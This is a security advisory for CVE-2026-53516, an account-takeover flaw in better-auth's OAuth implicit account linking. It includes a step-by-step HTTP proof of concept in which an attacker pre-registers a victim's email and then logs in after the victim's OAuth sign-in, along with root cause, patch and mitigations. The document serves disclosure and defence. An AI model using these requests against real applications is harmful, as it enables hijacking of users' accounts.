high · 8.3CVE-2026-53516Jul 7, 2026

CVE-2026-53516: better-auth OAuth Auto-Link Account Takeover via Unverified Email

Rohit Hatagale
AI Security Researcher, SecureLayer7

An attacker can pre-register a victim's email address to hijack their account when the victim later signs in with OAuth, because better-auth blindly trusts the OAuth provider's email-verified claim wi

Packagebetter-auth
Ecosystemnpm
Affected< 1.6.11
Fixed in1.6.11

The problem

better-auth's handleOAuthUserInfo function, used by every social provider, generic-oauth, oauth-proxy, SSO OIDC, SSO SAML, and one-tap sign-in, allowed implicit account linking whenever the OAuth provider asserted email_verified: true. The local database row's own emailVerified flag was never checked as a precondition.

POST /sign-up/email creates rows with emailVerified: false for any anonymous caller. An attacker pre-registers a victim's email this way, then waits. When the legitimate user signs in with OAuth for the first time, the OAuth provider's verified claim is treated as proof of ownership, and the victim's OAuth identity is silently bound to the attacker's user row.

The attacker then has a working password login plus the victim's OAuth session on the same account. Setting requireEmailVerification: true does not help, because the link step flips emailVerified to true on the attacker's row as a side effect.

Proof of concept

A working proof-of-concept for CVE-2026-53516 in better-auth, with the exact payload below.

http
# Step 1: attacker pre-registers victim@example.com (no email verification required)
POST /api/auth/sign-up/email HTTP/1.1
Host: target-app.example
Content-Type: application/json

{"email": "victim@example.com", "password": "attacker-chosen-password", "name": "Attacker"}

# => 200 OK. Row created with emailVerified: false.
# Attacker now waits.

# Step 2: victim visits target-app and clicks "Sign in with Google"
# Google OAuth callback fires; IdP asserts email_verified: true for victim@example.com
# better-auth looks up the email, finds the attacker's row, passes the provider-trust
# check (emailVerified on the LOCAL row is never read), and links the victim's
# Google identity to the attacker's account. emailVerified on the attacker's row
# is flipped to true as a post-link side effect.

# Step 3: attacker signs in with the pre-registered password
POST /api/auth/sign-in/email HTTP/1.1
Host: target-app.example
Content-Type: application/json

{"email": "victim@example.com", "password": "attacker-chosen-password"}

# => 200 OK + session cookie. Attacker now controls the victim's account.

The root cause is a missing local-side ownership check in the implicit-link gate (CWE-287, CWE-345). The gate validated only userInfo.emailVerified from the OAuth provider, treating it as proof of address ownership. The local row's emailVerified field was read only after linking, to flip it to true, never before.

The patch (commit da7e50b, PR #9578) adds a new gate condition: implicit linking is now rejected when dbUser.user.emailVerified === false. The new option account.accountLinking.requireLocalEmailVerified (default: true) exposes this behavior. The same fix shape was applied to the one-tap plugin, and Google's email_verified claim is now normalised through toBoolean so a string "false" is not silently treated as truthy.

The fix

Upgrade to better-auth 1.6.11 or later. The implicit-link gate now requires the local account's emailVerified to be true before linking any OAuth identity.

If you cannot upgrade immediately, set account.accountLinking.disableImplicitLinking: true to force all linking through the authenticated /link-social endpoint, or set account.accountLinking.enabled: false to disable linking entirely (breaks multi-login-method UX).

Note that emailAndPassword.requireEmailVerification: true alone does not mitigate this issue.

Reported by @avrmeduard.

References: [1][2][3]

Related research